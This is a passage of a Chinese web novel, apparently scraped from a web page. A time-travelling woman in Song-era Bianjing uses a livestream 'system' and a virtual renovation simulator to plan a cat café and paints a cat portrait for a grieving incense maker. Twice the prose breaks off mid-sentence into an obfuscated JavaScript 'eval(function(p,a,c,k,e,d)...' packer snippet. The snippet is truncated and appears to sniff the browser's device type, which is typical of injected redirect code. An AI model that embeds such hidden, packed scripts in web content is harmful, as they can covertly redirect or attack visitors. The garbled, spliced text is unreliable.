她歪了歪头,拿扇子敲自己额头,随即笑起来:“猫画这件事,日后可以搬到家里来接单,省力也不占铺子。” 弹幕上又飘出一条: 【不如学当地的方式,开个猫用品铺,顺带卖猫点心、凉糕茶汤,像个猫咖啡馆那样!】 猫咖…… 她重复了一遍,眯起眼,心底像被细细挠了两下,突然浮现出二十一世纪二十年代里,那些喝奶茶看猫咪的懒人沙发,桌边有人调香,有人写稿,还有猫在键盘上踩字的画面。 “那倒是……”她转过身,低头看脚边那只叼香囊跑的小箭:“不过,要把猫留在店里,还得有人帮忙看店,不然这些小家伙怕是要集体罢工,晚上爬窗跑光。” 她随口跟猫商量,猫只顾抓香囊,根本没理她。 “不过说起来,这样的猫咖若真做起来,可以分套餐,画猫图、玩猫、喝茶、尝点心……嗯……茶可以跟街口那家茶汤铺合作,凉糕能跟香市婆子订,互利互惠,还能少操心点。” 她一边说,一边写在小竹册上,连套餐名字都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我这是……不合礼法,不合本分……” 他心里一连串质问,最终都被风吹散,只剩一句再看一眼。若是有人从他身后走过,只会觉得这是个路过歇脚的书生,面上波澜不惊,只有那抿得极紧的唇和微颤的睫毛,泄露出一点未被察觉的小心思。 他不知为何,总觉得体内有另一股力量在轻轻推着他朝这小院靠近,有时恍惚间,他甚至看到过更远处、无数灯影、比现在更明亮的街道,像梦,却又带着一点真切。 可每当想细想,就一阵晕眩,把他从那些模糊的影子里拽回来。 “我……我究竟怎么了?” “为什么……会总梦见那些不属于这里的东西……” 沈修低头,额前碎发落下,恰好挡住眼底一闪而过的湿润。 巷里有小孩追着风筝跑过去,笑声渐远。沈修提着米,悄悄后退两步,像被风推走的白絮,无声无息地消失在巷口。 11. 第十一章 啊?建筑模拟? 天光淡青时分,院中起了薄雾,铺着青石板的地面已有几缕水汽凝出,湿润而未冷。 屋里屋外皆静,只听得灰白在窗沿跳下时,落地一声轻响。 沈令遥醒得并不算早,清晨起来整了整衣襟,照旧以院中井水洗漱,拧帕时,簇起的眉头还残着几分昨夜未散的思绪。 洗漱之后,她轻巧地将一只褪色木凳搬出门口,猫见了,竟比她还早落座。许是觉得这处屋檐既避风又沐光,今日格外合适打盹。 沈令遥见状,只能去搬了另外椅子,在旁边也坐下了,悄悄在袖中点开了界面。 系统仍照旧的语调提醒:【本日无更新视频任务,是否开启直播?】 她点头,轻声道:“开吧。” 弹幕飞快刷出。 【喵皇今日上线!】 【昨天的猫饼干还有剩吗?我想再看它们抢吃。】 【问:今天出门吗?想看你打扫铺子,咱们开猫店啊!】 【主播,昨天有个粉丝送你装修模拟,你收到了吗?】 沈令遥撑着下巴,视线穿过缝隙,院子里的猫慢悠悠漫步,然后猫打哈欠的样子让她也莫名的又感到困顿,想了想她失笑,道:“也不是不能扫。” 现在日头尚早,沈令遥想着,先去铺子里打扫也不失为个打发时间的方法。 但等她出门才想起来,今天得去官府看看红契,市籍,住税的办理,但等她到了地方又说还没到她能办理的时间,来回一耽误,她干脆回家吃饭休息,等沈令遥再站在铺子门前的时候,天色还未暗尽。 日头还挂在空中,只是金光最后一缕贴在门板上,像是绣了一圈黄线。李福来站在她身后,心想着果然没有自己,有些事情她就是会忘记,连时间也是记错了。 但福来也不说这些了,只从她身后抱着一只破箱子出来,放在一边台阶上,顺手抖了抖灰尘:“这些是前些日子收的碎布头,说是还能缝点猫窝、猫衣裳什么的,你看看还能不能用。” 她没接话,脑子却早已被系统弹出的窗口占了满格。 一大早直播的时候就有人问她装修模拟,她找了好久都没找到,没想到这是扫描她到店后自动开启的。 【叮!检测到您已完成回店打扫任务,获得奖励:虚拟装修模拟权限(基础版)】 一串信息闪过,下一秒她的视野中央就出现了一个半透明的蓝框,像是镶嵌在眼前空气里的小画面。 画面中是她刚才踏进来时的门店模样,连门口的纸屑和屋里还未打扫干净的蛛网都清晰可见,就好像有人从高空偷偷给她拍了张俯瞰图,再做成了一个小型模型游戏。 【功能说明当前版本为:基础装修模拟试用版。 【使用方式:扫描现实铺面后可进入模拟店铺模式,可设置空间规划、项目拓展、物资需求。因此您可自由选择门店功能模块,规划装潢样式、布局走向。】 【温馨提示:模拟内完成的项目并不自动转化为现实,但当现实铺子达到相应经营指标,将解锁模拟内配置奖励。】 她没说话,眼角微不可察地跳了一下。 “小姐?”福来歪着头看她,眼里有点犹豫,“你是不是累了?那、要不咱们明天再收拾?我回头再找个铺子把这些布送过去缝猫窝,现在夜里快关门了。” “嗯,”她这才回神,把手里沾着灰的袖子在围裙上擦了擦,“你先回去吧,明早我再来安排。” 李福来看她情绪不大起伏,也就没多说,弯腰拎起箱子去了后巷方向。 她站在空荡荡的小屋子中央,心里突然涌起一股从未有过的感觉。那是一种……久违的主动感。 过去在未来,哪怕是拥有属于自己的房间,她也从未真正拥有过场所这种意义,带着经营权、可以做主、会被别人探头张望,甚至是生意好坏与她挂钩的那种场所。 “让我们试试。” 她轻声说了一句,点开系统里的模拟按钮。 模拟系统启动时,并无过多华丽画面,只见她眼前浮现一间透明铺面,轮廓与现实相同,但空无一物,仿若一块可以随意涂抹的画布。 随着她的选择,半空中的立体蓝图缓缓展开了几个层级: 【模式一】猫图绘所:专门为人家猫儿画像,收取礼品、银两; 【模式二】猫游憩阁:设置猫架、猫爬梯、观赏橱窗,类似猫咖; 【模式三】猫品杂货摊:摆卖香囊、玩具、饲料; 【模式四】猫病小棚:联动周边兽医服务(需后续解锁); 【模式五】复合铺面:需营业进度达到50%开启。 她没急着选,先摸了摸自己口袋里还剩多少被打赏兑换来的零钱,再扫了一眼四周:门槛老旧、窗棂歪斜、墙皮剥落、天花板甚至还有一处渗水痕迹。 系统提示在眼前缓缓展开虚拟装修的结果, 沈令遥眯了下眼,轻轻点了下确认。一瞬间,院门外那间铺子轮廓被一道淡金色虚光描过。 “……像游戏里的装修图纸?”她喃喃。沈令遥随后将虚拟铺面一寸寸浏览下来。她心中早有了几分方向,画画,不能废;猫生活的区域也不能乱。 若是只图热闹,她本可在院子里招来客户画上一日,也能赚得盆满钵满,但那毕竟只是一时。 真正长久的铺子,不能靠别人心血来潮的兴致。 弹幕开始活跃了。 【地毯一定要猫爪纹的!】 【我建议靠门口放点高脚凳,这样人可以看猫也不会惊到它们。】 【搞几个‘猫咪不许打架’的木牌,挂在架子上!】 【猫咖套餐咱们要不要设计一下?可以拼单的那种,别贵。】 【这个模型也太好看了吧,好像玩《装修大师》那种模拟游戏啊!】 【猫图绘所好!支持艺术产业!】 【猫咖!开猫咖吧!我要打卡打卡!】 【我愿意出资提供猫爬架设计图!未来有机会我还想定做一张!】 沈令遥忍不住轻笑了一下。 “模型只是模型,铺子能不能起死回生,还得靠现实里多流几滴汗。” 说是这么说,还是在模拟图里选了猫图绘所为主打,暂时设置一张画案和猫休憩区域。 这样既可以吸引愿意来看猫、请画像的街坊,也不至于让猫受拘束。 系统给出的评分是:B级规划,当前实际进度为:3%。 【叮!未来观众打赏道具:“茶烟香墨小礼盒”已送达,请查收】 她一愣,系统界面上确实新增了一样小巧道具,上面附带一行注释:用于招待来访者,可提升顾客满意度;现实达成待客饮茶场景后自动解锁使用。 她意识到或许每一场模拟对应的比较丰富,包括未来的盈利设想,还有人情关系的重新搭建。 铺子,是一个让她重新与人打交道的场所,在这里也能有更多的猫在这里住着,但大概也不是一天内可以解决的,临天黑前,沈令遥锁好门往家走去。 …… 回去的路上,沈令遥调出系统里的观众建议整合界面。 其中猫主题饮食搭配一栏下,有人详细列出了宋代时流行的蜜渍桃仁、熟地茶饮、桂花米露,认为这类食物温和且雅致,适合边看猫边饮用。 “这位‘半碗碧螺春’还挺会起名字。”她笑着点了收藏。 福来正好端着一小盘黄米糕走出屋,看回到家的沈令遥对着空气说话,愣了愣,小声问:“姑娘……你是又梦回仙境了不成?” 这已经很委婉了。 沈令遥摇摇头,笑而不语。 福来放下糕点,看了眼她手指在空中一划一划,虽是看不见,但却极像是画草图的模样,也不知道是在画个什么? “姑娘若是能真开铺子,一定比那边对门生意好多了。”福来连忙说点什么,期望把沈令遥从奇怪的状态里拉出来。 沈令遥顺势问道:“那你觉得,该开个怎样的铺子好?” 福来想了想:“跟之前说的,有猫就行。” “那你说的茶铺里养猫?” “差不多吧。卖吃食、玩意儿、画都行,但得有猫。姑娘家的猫不是一般猫,见了就想摸。” “嗯。”沈令遥轻轻应了一声,像是记下了。 风越过屋檐,掀起挂在院角的藤帘,阳光斜斜地照进来,正落在那只打盹的猫背上。 …… 日头落山前的最后一道金光,从城南那口石桥边退去。 沈修站在巷口,手里还拎着一袋米,一小罐盐,一卷纸。肩头披着半新不旧的书袋,里面装着新领的书,要抄的文段还未翻开。 他没有动,只看着前头那条略微蜿蜒的小街。 那街上,一盏红色灯笼已经点起,光是暖的,像个心脏一样,缓缓跳着。那是她的铺子。 屋檐还未完全翻修,砖缝间冒着微光,好像整座房子都还在慢慢苏醒。 他在原地站了片刻,侧过身,朝铺子那头绕过去。 这已经是第三次了。 沈修不太愿意承认,自己这几日似乎有些偏离原路明明回家最直的那条街,是往东过市桥,再沿着西巷拐进来;而他,却总是兜兜转转地,拐来拐去地在这铺子门前顺路。 他站在一扇残旧的墙边,靠着茅草铺顶的竹架,背后是晒干的腊梅,前头有风吹动门边的灰布帘。 沈令遥,就坐在门口的几案后。 她今天换了件浅青色的衣裳,袍袖洗得发白,头发随便挽起,侧脸却静得出奇。 几只猫伏在她脚边,有的趴着,有的蜷成一团,还有一只偏偏倚在她膝盖旁,耳朵抖了抖,像是听她低声说话。 她果真又在那自言自语。 沈修看过她这样说话许多次了:神情自然、语调轻快,有时还会停顿一两句,好像是在听谁的回应。 她不是疯癫,也没有神神叨叨的眼神,相反,每次说话时,她都特别安静,仿佛坐在别的什么人中间,被簇拥着,却又出奇地孤独。 他想不明白。 也不愿多想。 只是每次绕路回来,就忍不住要多站一会儿,哪怕只看几眼。 她手下的毛笔灵动地起落着,几只线条简单的猫图,已跃然纸上。他站得远,看不清细节,却能感觉她那种专注时的安稳感。 他握了握手中的纸包,仿佛那些柴米油盐都有了温度。 他摇了摇头,把自己还想继续站着的念头压下去,又悄悄从铺子门前绕了一圈,确认她并未察觉。她偶尔抬头,好像听见远处什么声音。 他转身,慢慢朝家里走去。 家里是一处偏旧的三进院子,祖上是外地来的进士,在汴京落脚后虽无显职,却留下了一些旧书和门生往来。父亲病故后,这院子早就破败了。 他作为一介未第秀才,日常要靠抄写经典、帮人点文维生,还得照料母亲和一个远房的小妹。 日子清贫至极,连醋都得稀着用。 可他心里,莫名有股坚持总觉得自己还有别的命数,只是还没到。 ……… 铺子的手续还要等好几日,日子就这样慢慢过去,暮色一次又一次细细的落在在屋檐、门棂、巷道之间,一点点晕开又消失。 在家画猫图的事情也持续着,而她会给每一个新来约猫图的人一张卡片,那上面介绍自己铺子未来将要做的业务。 铺子还没正式开,但也有不少宣传方式让大家知道这个店,最后一幅图画完,沈令遥起身,把画完的几幅猫图轻轻收起,理好笔墨,朝屋里走去。 几只猫见她动了,便纷纷伸懒腰、打呵欠,一溜烟地跟在她后头。 院子里还留着日里晒过的微热,混着蒲团和墨香,像极了她曾熟悉过的某种安宁生活,或许是过去的某段,也或许从未存在过。 她关好门,拧起案上那只老式油灯,火光一跳,屏幕弹了出来。 【系统提示:当前“虚拟装修模拟(猫主题门店计划)”第一阶段目标达成进度3%,请尽快落实需要完成的工作,以按时让店铺开业。】 【请在今日内上传一段15秒以内视频,以满足本期客群初印象任务要求。】 【视频建议主题:猫日常、屋舍布置、图纸展示、互动问答(口播建议减少背景杂声)】 沈令遥捧着那一团虚浮的界面坐下,手指不自觉在膝盖上敲了两下。 这个系统,她一直拿不准是怎么回事,她知道自己不是这个时代的人,也清楚地知道自己来自某个未来时代。 可每次试图追问细节,脑中都会陷入一种迟钝模糊的状态,像被一团湿布闷住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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屋梁、门框、柜台、灶台,全部以一种柔和的半透明线条勾勒出来,像是AR画面。 墙面泛黄、木柜残旧,左侧堆放着昨日刚运来的新木板,右角还有几只猫窝堆着。 再往上看,有悬浮的几张纸板自动展开。 这个粉丝送的模拟装修,可以提前预览发展路线,并在她现实里铺子原样的影像重叠在她眼前,只有自己一步步达成后,可以兑换粉丝给予的支持,比如图纸、原料、装饰奖励,甚至营销口径。 模拟图里沈令遥只选了猫图绘所为主打,暂时设置一张画案和猫休憩区域,这样的安排只得到一个B级的评价,开始安排了一个区域,也算是迈出一步。 但她也猜想,如果把隔壁运营善的另外一家铺子盘下来打通,她把模拟店铺设计的越好,或许评分也会上去很多。 ………… 夜色渐深,街道两旁的店铺一盏盏地熄了灯,唯有零星几家小摊还冒着微光。李福来一手提着纸包,一手捏着灯绳,小心翼翼地沿巷口快步往家走。 李福来最近都住在沈令遥家,他在跑腿事业外,把这里的这群猫养的很好,父母并不是很理解他的做法,但鉴于福来把自己跑腿赚的钱都给家里,也就不再说他。 他悄声推门,却见沈令遥正蹲在地上,和几只猫有一搭没一搭地说话,嘴角微翘,一副有事盘算中的模样。 “……你们几个最近吃得也太多了,明儿个要是再有猫爬上灶台偷鱼,就别想喝牛奶了。”她指着那只最圆的小狸猫,“你,尤其是你,少在我面前卖乖。” 几只猫一边打哈欠一边用尾巴蹭她脚背,完全没把这番训斥当回事。 李福来顿了顿,把纸包放下,小声咳了一声。 沈令遥转头,目光落在他身上,像是才回过神:“回来了?” “嗯。”他把包递给她,“门口的胖婶子还留了一点糕,给你带了些。” “谢了。”她接过来,顺手拍了拍那只想扑上来的猫,“不许抢。” 李福来搔了搔后脑勺,嘿嘿笑两声,不敢多问。 “你刚才是不是从门口路过了好几次?”沈令遥忽然问。 李福来一怔,立刻摇头:“没有没有!我、我是去前巷帮小铺送货…” 她盯了他一眼,没说话,只是笑了笑。 “我明天想再去一趟铺子,”她轻描淡写地说着,把糕点分了半块喂猫,“再量一下门口的尺寸,看看能不能做个迎门猫雕或者木牌匾什么的。” “要……雕猫?” “嗯,不是真的雕,就是木头锯成猫的形状,涂点颜色挂门口。”她一边说一边比划,“有猫的标识总比挂块‘沈家铺子’吸引人吧。” 李福来一脸“虽然不太懂但好像挺有道理”的表情:“那……你打算怎么找人做?” “你帮我问问,谁家有木工空闲的,我画个图给他,看能不能做成。” “那得不少钱吧?” “所以我也没说现在就做。”她将剩下的糕点收起来,“我先试着自己锯,有个形心里才有底。” “你还会锯木头?” 她抬起头,轻描淡写地说:“试试就会。” 这话听得李福来一愣。他有时候真觉得,自家主子虽然看着文弱,但好像什么都能干出来。 “福来,我最近会开始收一些猫过来,你得帮我做几个新的猫窝。” “啊?要收多少?” “几只吧。”她笑得模糊,“流浪的、街头的、没人管的……能喂得起多少,就多少。” 李福来支支吾吾:“可是……要是别人家猫,主人该不乐意吧?” “所以我收的,是没人认的。”她站起身来,理了理衣袖,“也不常住,就白天在铺子里趴着陪客人,晚上愿意留下的再说。” “听起来……”他有些犹豫,“怎么有点像捉猫铺?” 福来原以为,只是这院子里猫去店里偶尔呆着,没想到她还要养新的猫。 “噗。”她笑出声,“才不是。我们是猫客栈,猫愿意来就来,不愿意来就走,谁也不管谁。人客能来就吃杯茶,不能来也能看看猫。” “听起来挺新奇的。” “希望吧。”她望向窗外,一只猫正从墙头跳下来,干净利落地落在地上,回头望了她一眼。 好像也很好奇她在说什么一般。 12. 第十二章 杜绣娘的约图 第十二章 沈令遥躺在小院靠西的那张躺椅上,头顶是一树苍翠,阳光从缝隙里洒下来,有点刺眼,她伸出手挡着光,但还是有细微碎光落在眼睛上。 还有一个茶桌摆着她泡着的茶水,几个杯子放那是准备喝茶的,单一个盛着牛乳的高杯子就等着茶出来兑成奶茶。 沈令遥等着茶,又像往常一样,揉着那只占据她肚皮的灰白,眼睛盯着空气中弹出的系统面板。 最近得关注关注自己拍的视频,很需要生存指数的沈令遥对此不敢掉以轻心。 数据反馈很明确,总结一下就是数据表现一般。系统上的闪着蓝光的区域里,推荐更换视频主题几个大字特别明显! “建议切换内容类型,尝试叙事型拍摄。”沈令遥语气不急不缓地读了出来系统的建议,停顿了很久,她才“哦”了一声,没继续吭声。 可能以为在跟自己说话,灰白在她安静许久后才“咪呜”了一下,似乎在回应。 系统对于数据内容有着很详细的分析,比如说先认可了她拍摄的猫确实很可爱,但实际上光靠撸猫,很难在千万人中脱颖而出。 有她一个在古代,说不定就有其他人也在不同时代,只是很奇怪,沈令遥只能看到别人对自己账号的反馈,她无法继续使用整个平台,翻译一下就是,她看不到别人的内容,完全没有高人气参考。 但是系统给出的建议似乎也很有道理,目前她的内容被评估为没有意思,但也获得了很清晰的建议,让她拍摄一些有情节、起伏和结尾的故事。 嗯?情节?起伏?结尾? 比如说一个帮人找回猫、安慰主人的画面,或许这样带了点互动和沟通的‘治愈系列’故事吗? 沈令遥思索了一下,从椅子上坐起来,猫被她滑下来,啪嗒一下跳到了地上。 “我好像明白了。”她望向空无一人的前方继续说话。 好在福来这会不在家,不然似乎要坐实她是一个遭受了伤害而有点后遗症的姑娘。 或许什么时候,她自言自语这个事情大家都知道了。 “那我如果拍好了呢?”她拍拍裙子站起身,“你要给我多发鸡腿还是鱼干?” 眼前闪着蓝光的屏幕,系统像是捕捉到了什么信息,很快给出回答,如果接受转型,每期发布的视频可获得基础生存指数100点,无视数据表现。若数据优异,还可获得额外加成。 沈令遥看着说明,完全心动,这简直是白给的安全感啊。每天都担忧生存指数一旦归零带来的危机并不舒服,而且直觉告诉她,生存指数没有了,八成不是件好事。 “还有什么附带条件?”她边走向厨房边问。 屏幕上的内容也继续显示起来,说明内容显示,这种拍摄内容主题的变化这将和【基础装修模拟】系统并轨。 装修进度将按期与视频联动。每完成一期故事,可获赠等值现实物资奖励。 “也就是说,我拍故事给人看,然后你就帮我装修?给的是额外的物品?还是直接完成装修,不需要我自己动手了。”她停下脚步,忍不住挑眉。 蓝光闪得有些飘,眼看着蓝光,沈令遥在想,这东西如果有脸有五官的话,估计在翻白眼… 很快,新的回答也出来了,她并没有直接装修的好处,基础装修模拟依然是她模拟,然后她 自己找材料和人去装修,模拟结果评估进度。 但额外会根据模拟进度发放阶段性物资,如木料、画架、香料、布匹等。 这意味着,有些东西不需要自己承担寻找来的过程,直接拿到结果就可以了。 “那行。”她点头,“我接了。” 但故事要怎么拍? 沈令遥想了想自己认识的人,除了福来,就是前几天来请猫图的那位秋棠。 据她能了解到的,秋棠所侍的杨夫人近来神色阴郁,除了前些日子找到丢的猫让她情绪恢复了些,但另外一只总是喂养的猫忽然病死,夫人竟郁郁了数日。 或许去找她? 但这个想法几乎很快就被沈令遥否定了,自己还是不要触霉头了。 事情决定了,但人选还迟迟未定。 沈令遥有点难过,完全没注意灰白突然的哈气,而被哈气的是一只不知道什么时候闯进院子的猫,它默默的呆在角落里,试图隐藏自己。 胆子大的几只猫绕过几张破木后在闯进来的猫前倏地停住,几只猫尾巴斜倚在木头边,耳朵却竖着,仿佛仍在倾听院子外的脚步。 猫没有继续往前走… …… 院子外,香意铺的老板,杜绣娘站在那许久才推门走入,她身着一身绸布衫子与披肩,针脚精密,香气极淡,但沁入鼻腔后久久不散。 “沈姑娘在吗?”她的声音很清脆,没看到沈令遥的身影,便喊了几声。 “你来了,”沈令遥微笑着迎上前,“刚好它也回来了。” 沈令遥说的它,就是被几只猫盯上的“馀香猫”,当然这种猫其实是不存在的,只是沈令遥给它的备注而已。 这是只灰脂猫,或者说是英短,毛色微灰,趾间露白,似初雪覆石。尾短而丰。而叫它“馀香猫”是因为,它像常年趴睡香篆炉旁一样,身上沾了几分人为的香气。 馀香猫这会跳上高处树枝,靠着枯色树枝静卧,半睁眼看着来人,却不动分毫。 “巧乐!你又离家许久了。” 杜绣娘没有再说什么,只是微微仰头打量那猫。掌心从袖中伸出,指节处微微泛红,像是习针太久未曾停歇的痕迹。 “你的画…”沈令遥把几天前杜绣娘来约的画送给她,只是接下来打开看了几眼,杜绣娘轻声说这,“你这幅画,画得比它乖巧多了。” 沈令遥看着她把画放下,随后拿起自己刚才喝茶的壶给她倒了一盏微温的茶盏递过去:“原本它也不肯让人近身,不知为何,今日竟就这样自己跑来了。” 杜绣娘接过茶,拇指轻摩着茶杯边缘,并不喝。 “以前它常在我绣房后院蹲着,那时候我做香囊,总忘了关后窗。它最喜欢紫苏香的气味。人靠近,它就跑,香气出来,它就来。” 她语气极淡,像是在讲一件隔夜旧事。 “后来我把窗关紧了,它就不来了,它看着并不喜欢人,但现在又让人觉得怪得很。” 沈令遥没有打断她,只闻着杜绣娘举手投足之间带着的香味,心想着不只猫喜欢,她也喜欢… 杜绣娘忽然低头:“是不是它也知道……绣坊如今不大安稳。” “它若喜欢你这儿,留下也是好的。”她说这话时抬头看了一眼沈令遥,“你家狸奴多,兴许它也不觉得孤单。” “它要是留在我这里,你可得常来看它才行。” 沈令遥笑了,伸手从袖子里拿出一个新的小罐子,打开,取出另一张画好的小画,是那只猫靠在香炉下的模样。(1 杜绣娘伸手接过画,看了好一会才轻轻嗯了一声,虽不解她怎么另外又给了一张,但杜绣娘的铺子也经常有人来采买,我前些时间突然很多人找沈令遥画画,她偶尔会多给一张的事情也有所耳闻,现下,倒也接受了。 沈令遥又补了一句:“后面,我要开一个铺子,如果狸奴喜欢,不收它的租,可以一直住着,如果你想看它,随时来,且朋友也是可以多来几个。” 这话一出,杜绣娘唇角动了动,没真笑,但神情松了些。 屋外天色近暮,门口猫影一闪,是另一只常客跳到门槛上,不紧不慢地伸了个懒腰。 杜绣娘看了一眼那猫,忽然道:“你说的铺子,还缺人手吗?” 沈令遥诧异地看她。 “我有个远亲的小侄女,才进汴京没几年,不大能适应……她喜欢狸奴,眼下也没个正经营生。” 沈令遥本能想说“我也还没开业”,可转念一想,便改口道:“若她愿来,择日带她来看看,也不急。” 杜绣娘点头,将小画和另一幅画细细收起,才缓步告辞。 等她身影消失在街角转弯处,沈令遥才缓缓呼了口气。 福来抱着猫盆回来,见人走了,好奇问道:“刚才那是谁?” “一个可能日后会常来的客人。” 沈令遥起身,望着天空,软云乎乎,忽然觉得今日风格外暖。 ……… 要不然拍杜绣娘? 思考拍谁的思绪被打断,这会还得继续。但想到拍杜绣娘,沈令遥心里多有惊讶,但鉴于福来回来了,她也只是心里喃喃念了一遍。 主要是在她终于喝上了自配的奶茶后,系统就提示她可以拍摄杜绣娘,顺便系统立刻自动弹出一段基础人物信息: 杜绣娘,三十五岁,香意铺主,擅制香囊、香饼、条香、香炉。丈夫三年前病故,独居照母。近日老母卧病在床,香意铺门可罗雀,常自嘲无香可传。 沈令遥合上面板,灰白不知何时跳到桌子上,一脸看热闹的表情盯着她。 “你也想跟我去啊?”她伸手挠它下巴,“想去就摇尾巴。” 灰白不动,只慢慢舔起爪子,然后跳下去迈步走向它的小弟们… 她笑了:“你还是当甩手掌柜吧。” 真拍杜绣娘也不是不行,沈令遥打算明日去一趟香意铺,顺便踩点看看路上有什么合适做拍摄画面的场景,就听院门外传来福来的声音: “令遥姐,那个……刚有人托我问你还画不画猫图了!” 她把门打开,福来一脸风尘仆仆,肩头还扛着个打包好的饭篓,看起来眼生,不知道是不是绘画要交换的。 “是哪个?”她问。 “不是前几天来请图的,是新来的一个,家里猫生了两窝小猫,说想留念。” 沈令遥点头:“你就说画,但要排时间。” “那我也能排个号吗?”福来眼睛亮亮的,“我有个远房堂姐,也有猫,是只长得特别像小老虎的狸花猫!” 她瞪他:“你没猫,你排什么。” 福来嘻嘻一笑:“那我回头再抱只野猫给你。” 沈令遥叹了口气,转身进屋,又回头道:“哎,你帮我打听一下,那香意铺在哪?” 福来一愣:“你要买香?” “不是。”她笑了笑,“我要去找找有故事的东西。” 福来一脸迷茫。 他眼中的沈令遥,有时候像个轻雅的画师,有时候又会突然对着空气说话。 他听不懂她为什么常常自言自语念着什么些他记不住的词,但也理解她的变化。 这几天街上熟悉沈令遥的人都跟他打听她的近况,听得多也知道了些事情,福来觉得应该是双亲突然离世让她这样的吧,虽然已经过了几年,但后知后觉的变成这样也可以理解。 自言自语不是什么大事情,想到这福来点点头:“行,我给你打听。” 等她回到屋里,小箭已经跳上她写字用的那张矮案,四肢摊开躺平,尾巴还甩来甩去。 她打开系统里最近正在运行的基础装修模拟。 最近的直播都集中在店铺模拟了,她已经初步选了猫铺及茶水铺的模式去进行安排,说实话即便只有福来一个人的建议,但也说明是有机会的。 不过评分依旧不怎么高,不好就不好吧,沈令遥觉得不用太着急。 现在得考虑拍摄的东西得精彩点。 计划书得有,但不适合写在纸上,好在系统给预留了一部分区域能进行整理,她在脑海中思考几个提纲就同样的文字出现在系统里。 首先开头要有氛围,背景是香意铺的招牌香炉烟缕,接着是与杜绣娘的对话,如果能打动人心,再加一段猫与香的联结。 末尾,可以是猫图定制图的绘制过程,她脑中已浮现那只猫,安静地趴在香炉旁,尾巴蜷在脚边,一缕青烟拂过它耳后,像是梦里重逢。 ……… 沈令遥其实略有犹豫,要不要使用一些她和杜绣娘初次见面的时候的画面? 虽然她觉得那时候的杜绣娘性格较为冷意,对人不太积极但也不至于完全不搭理人。 两人的遇见得亏秋棠提到的,那天午后阳光正好,小巷里没什么人声,连贩米酒的老汉也收了摊,躲进屋里打盹去了。 沈令遥沿着青石板一路走过 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杜绣娘这才抬起头,目光在沈令遥脸上停留了一会,像是在判断她是真是假。 “你姓沈?”她问。 “沈令遥。”她点头,“画过狸花卧春、白猫踏雪,您可以打听。” 杜绣娘的唇动了动,最终只吐出一个字:“进。” 她走入堂中,香意铺很安静,没有其他客人,也没有婢仆看守。 堂里陈设极简,大多是些香道器具、香木小柜和几案布台。窗边那张猫榻引起了沈令遥的注意。 榻上铺着熟棉软垫,却空空如也。似曾久待一猫的痕迹仍未散尽。 沈令遥轻声问:“它……最近离开了吗?”她说的是一只猫。 杜绣娘没立刻答。她垂下眼帘,把刚才挑拣好的干花和几味香料合入小盏中,低头把玩。 她声音很轻,“巧乐陪了我好几年。” 沈令遥默然点头,坐到对面,取出画本,小心铺在矮案上,等着杜绣娘说猫的外貌,而同时还在进行的直播也有很多弹幕悄悄滚动: 【这环境真有感觉……像古风剧里那个香师女主的家。】 【哇,看起来店主香术很高,但最近门庭冷落了。】 【我喜欢主播,小姐姐真会引导情绪,温柔得刚刚好。】 沈令遥没有去看弹幕,她只是一边画,一边继续轻声引导对方:“能给我讲讲它平时的模样吗?” 杜绣娘盯着炭笔落下的地方,缓缓说道:“巧乐的毛色微灰,眼珠子像两颗杏仁,尾短而丰,趾间露白,每次我做香,它都躺我脚边,它常年趴睡香篆炉旁,身上香的很。” “香灰炉子热的时候,它怕烫,会慢慢往后挪,但眼睛还是睁着看我。我有时候做香做到半夜,它也不走,就蹲着,一动不动地陪。” 杜绣娘顿了顿,又道:“其实它最近离家了,我也不知道它去了哪里,说实话它不在家,我就不太想做香了。”她语气平平,但沈令遥却在炭笔触纸的缝隙中,听出了一种很沉闷的,藏在生活中悄无声息的沉默与失落。 画逐渐成形,是一只蜷伏在香炉边的小猫,毛色淡淡灰白,尾巴绕过前爪,耳尖轻轻抖动。 “您看看。”沈令遥把画递过去。 杜绣娘低头凝视了许久,突然道:“我愿意在你的铺子里留香。” 沈令遥怔了一下:“……留香?” “将来如果你喜欢,我也可以帮你制作一种猫香,让你家的猫更愿意在家里停留。” 沈令遥有些意外,但也真诚地答:“我当然愿意。” ……… 杜绣娘挺好的,沈令遥看着直播回放的部分,截取了这部分内容,她忽然觉得,这段视频拍得不错,是有温度的,是一个真正存在过的猫,陪着人类,闻着人间烟火。 杜绣娘刚才来家里取走的是第二幅画,说是第一幅被回家的巧乐抓了一把,杜绣娘就托赖这是画了猫图把猫叫回家,每次巧乐往家外跑的久,她就来求画。 只是这次,巧乐直接跑到沈乐遥家了,它还在吗?为了确认一番,沈令遥起身去看着,当下光线却不再热烈,柔和得很。 院墙上那两只猫正打盹,一只睡得四仰八叉,另一只窝在角落守着风,耳朵偶尔动一动。 她站在原地看了片刻,看不到巧乐,沈令遥转头进了屋,取了张纸,想要临摹下来打盹的猫。 可没画两笔,她忽然觉得这光景太熟了。 仿佛是哪一日,她在梦里,也曾这样坐过,阳光偏斜,猫卧在檐角,纸上落下猫的影子,影子随风微晃。 沈乐遥笔尖轻点猫耳,轻声自语:“如果每个故事都有个开头,现在这般也是一个开头吗?”没有答案,但她忍不住嘴角微扬,喃喃:“嗯,那就先拍杜绣娘的故事吧。” 手里的动作也不停,她取了旁边的小本子,是一本猫册草案,每一只猫都有自己的画面与花名,她给它们起了带着点古意的名字,什么团雪、织烟、夜贞,但不耽误喊猫的时候还是灰白,小箭,这样直白的名字… 猫是朴素猫,故事是小故事。 讲讲巧乐如何静静地陪着杜绣娘一个人度过某个漫长的黄昏,毕竟能让人卸下心防,这足以成为一个故事的开始。 “故事从它们开始也不错。”沈令遥轻轻点头,自言自语。 ……… 屋外头,暮色正起。院门外忽传来李福来的声音:“沈姑娘,街口那头,殡铺旁边的刘婶刚问你是不是要开店呢,我说你还在琢磨图纸。” 沈令遥放下笔,她走出去,拍拍福来的肩膀,“明日,跟我一起去街口一趟吧。我们得开始动动了。” “动什么?” “我们要开的店。” 